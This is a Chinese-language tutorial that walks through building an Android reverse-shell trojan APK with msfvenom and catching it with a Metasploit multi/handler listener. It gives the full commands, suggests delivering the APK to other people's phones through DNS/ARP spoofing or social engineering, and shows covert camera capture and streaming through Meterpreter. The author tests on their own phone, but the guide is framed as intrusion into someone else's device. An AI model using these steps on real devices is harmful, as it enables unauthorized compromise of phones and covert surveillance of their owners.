MSF是Metasploit的简称Metasploit是一款开源的安全漏洞检测工具非常强大分别有Windows版和Linux版工具里集成了许多微软公布的漏洞(0day)。我这里做测试的系统是Backbox linux 这是一款网络渗透信息安全评估系统。里边安装了许许多多的工具。其中MSF就自带有。当然还有其它的 比如Kali linux 、Back Track这些等等。环境Backbox linuxMSF目标一台安卓手机既然是入侵安卓手机肯定要先配置一个安卓木马那我们看看本机的IP本机IP192.168.1.6在到终端输入命令msfvenom -p android/meterpreter/reverse_tcp LHOST192.168.1.7 LPORT5555 R /root/apk.apk以前的MSF老版本是用msfpayload生成木马 现在在新版本中都用msfvenom代替了所以有些朋友在终端输入msfpayload的时候 会提示msfpayload无法找到命令 所以使用msfvenom即可这里LHOST 对应的是本机的IP地址 LPORT对应你要监听的端口 然后生成木马的路径这样我们就在/root/路径下生成了一个APK的安卓木马文件至于木马的免杀暂且不谈。现在我们在来启动MSF工具输入命令msfconsole然后输入1. use exploit/multi/handler 加载模块2. set payload android/meterpreter/reverse_tcp 选择Payload3.show options 查看参数设置我们看见payload里边有两个参数要设置 LHOST和LPORT 表示地址和端口 默认的端口是4444 现在我们来更改设置1.set LHOST 192.168.1.6 这里的地址设置成我们刚才生成木马的IP地址2.set LPORT 5555 这里的端口设置成刚才我们生成木马所监听的端口3.exploit 开始执行漏洞 开始监听...OK一切准备工作准备就绪。。。现在要做的就是把木马文件搞到人家的手机上思路有很多 可以DNS arp劫持欺骗 只要对方用手机下载文件 就会下载我们的木马文件还有社工什么等等的这里我就简单的把木马文件弄我自己的手机上做测试安装完成后 会在桌面上生成一个MainActivity的程序图标 这个就是我们刚才生成的木马 当我们点击了这个图标 手机会没有任何反应 其实木马已经开始运行起来了我们可以在我们的MSF里看见有一个会话连接了这样对方的手机就就被我们控制了查看手机系统信息输入命令 sysinfowebcam_list查看手机摄影头有几个 这里显示两项 分别表示有前后两个摄像头webcam_snap 隐秘拍照功能后边跟上参数-i 指定使用那个摄像头拍照可以看见我们分别对前后摄像头都拍了照 保存到了桌面上还可以输入命令 webcam_stream 开启摄像头其它的功能还有更多 。暂时就先到这吧。。。